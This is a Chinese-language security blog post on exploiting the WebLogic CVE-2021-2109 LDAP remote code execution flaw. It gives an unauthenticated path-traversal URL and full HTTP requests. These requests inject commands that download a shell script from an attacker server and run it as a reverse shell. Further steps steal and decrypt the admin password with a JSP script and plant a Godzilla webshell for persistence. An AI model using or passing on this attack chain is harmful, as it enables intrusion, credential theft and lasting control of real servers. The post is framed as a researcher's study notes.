Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

admin 2021年3月31日00:30:50评论97 views字数 5052阅读16分50秒阅读模式

漏洞影响

WebLogic Server 10.3.6.0.0

WebLogic Server 12.1.3.0.0

WebLogic Server 12.2.1.3.0

WebLogic Server 12.2.1.4.0

WebLogic Server 14.1.1.0.0


漏洞复现

访问一下URL

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252f/consolejndi.portal

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

如果有此页面未授权可访问,且在影响范围内则可能出现漏洞

下载漏洞攻击需要的 LDAP启动脚本

https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11 #下载地址unzip JNDIExploit.v1.11.zip java -jar JNDIExploit.v1.11.jar -i xxx.xxx.xxx.xxx #启动

服务器启动,注意放行服务器端口,切jdk版本为低版本,我用到jdk8

java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx (服务器地址)

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

然后配合 Weblogic未授权范围 命令执行

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

登录后台可使用此POC,未授权的话用上面的


/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)


深入系列一、反弹shell

第一步 准备shell

先写一个反弹shell的 sh在vps上

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

然后开启监听

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

接着开启一个http服务

python3 -m http.server 8000


第二步 把shell下载到被攻击机器上

curl -o /target/path/filename http://xxx.xxx.xxx.xxx.:8080/1.sh或者curl -L http://xxx.xxx.xxx.xxx:8080/1.sh -o /target/path/filename

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

请求包

GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1Host: 192.168.0.103:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closecmd:curl -o /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/1.sh  http://xxx.xxx.xxx.xxx:8000/1.sh Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979Upgrade-Insecure-Requests: 1

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

第三步 反弹shell

进行bash反弹

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

请求包

GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1Host: 192.168.0.103:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closecmd:bash /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/1.sh Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979Upgrade-Insecure-Requests: 1

成功反弹到shell

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

深入系列二、通过下载SerializedSystemIni.da文件解密weblogic账号密码

第一步 找到账号密码和解密文件

账号密码位置

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/security

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

SerializedSystemIni.dat文件位置

/u01/oracle/user_projects/domains/base_domain/security

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

第二步 找到web目录

war目录一般存在的位置

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)


将 SerializedSystemIni.dat 拷贝到 war目录

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

第三步 下载SerializedSystemIni.dat 并解密

访问 http://192.168.10.53:7001/bea_wls_internal/SerializedSystemIni.dat 将文件下载

下来下

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

使用解密工具解密

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

tips:如果AES加密后的密码为:

{AES}Nu2LEjo0kxMEd4G5L9bYLE5wI5fztbgeRpFec9wsrcQ= 破解时需要把后面的给去掉,不然会执行报错。

深入系列三、上传webshell

由于反弹的shell 不够持久,所以想上传个webshell

第一步  在自己服务器上上传一个马,并且开启下载

我这用的哥斯拉

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

第二步 下载文件到被攻击者目录下

目录

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

打开http://192.168.10.53:7001/bea_wls_internal/shell.jsp 能成功解析说明存在

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

tips:如果不确定下载成功没,可以先在服务器上写一个 1.txt 内容随便写,比如:111。然后下载到被攻击服务器的web目录上,访问看是否能显示内容

第四步 使用冰蝎连接

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

深入系列四、通过上传解密脚本进行解密(对深入系列二的补充)

第一步:查看weblogic的密文

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

第二步:编辑解密文件,并放在另外一台linux上,并开启http服务

下载地址:

Tools7-get_wls_pwd2

<%@page pageEncoding="utf-8"%><%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%><%   EncryptionService es = null;   ClearOrEncryptedService ces = null;    String s = null;    s="{AES}jZaFirdpzkH727wJt82Xc0QtuHsEuMsvyqcLkjRz/vY=";    es = SerializedSystemIni.getEncryptionService();    if (es == null) {       out.println("Unable to initialize encryption service");        return;    }    ces = new ClearOrEncryptedService(es);    if (s != null) {        out.println("nDecrypted Password is:" + ces.decrypt(s));    }%>


第三步:通过curl下载到被攻击机器的web目录下


curl -o /target/webpath/filename http://xxx.xxx.xxx.xxx.:8080/1.sh

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

第四步:访问url查看密码

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

思考&小总结

这个漏洞研究了两三天,前期反弹shell挺顺利的,但是遇到其他问题了。文章算是做个笔记总结,如有错误,请指正。

  1. 深入系列二中,尝试解密weblogic账号密码出了问题,有的环境会因为SerializedSystemIni.dat文件为二进制文件,直接使用浏览器下载可能遭到破坏(但是我也尝试tar打包下载出来,但是文件也出问题了),所以我在深入系列四中换了另外一种思路进行解密。

  2. 碰到的实战中把SerializedSystemIni.dat文件和下载马子到web目录后,通过web无法访问到,这样的话深入系列四也无法进行。因此当web目录无法访问的时候,想要解密console的密码或者拿到webshell 就比较难了。等后续有时间了会继续摸索其他方法,尝试获取到webshell(因为反弹的shell不持久....)

参考文章

1.http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Weblogic/Weblogic%20LDAP%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2021-2109.html?h=cve-2021-2109

2.https://www.freebuf.com/articles/web/220147.html

3.https://mp.weixin.qq.com/s/fhf86-FCic2qAkcThvabeQ

Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)


本文始发于微信公众号(安全鸭):Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月31日00:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic LDAP 远程代码执行漏洞 (CVE-2021-2109)https://cn-sec.com/archives/313525.html

发表评论

匿名网友 填写信息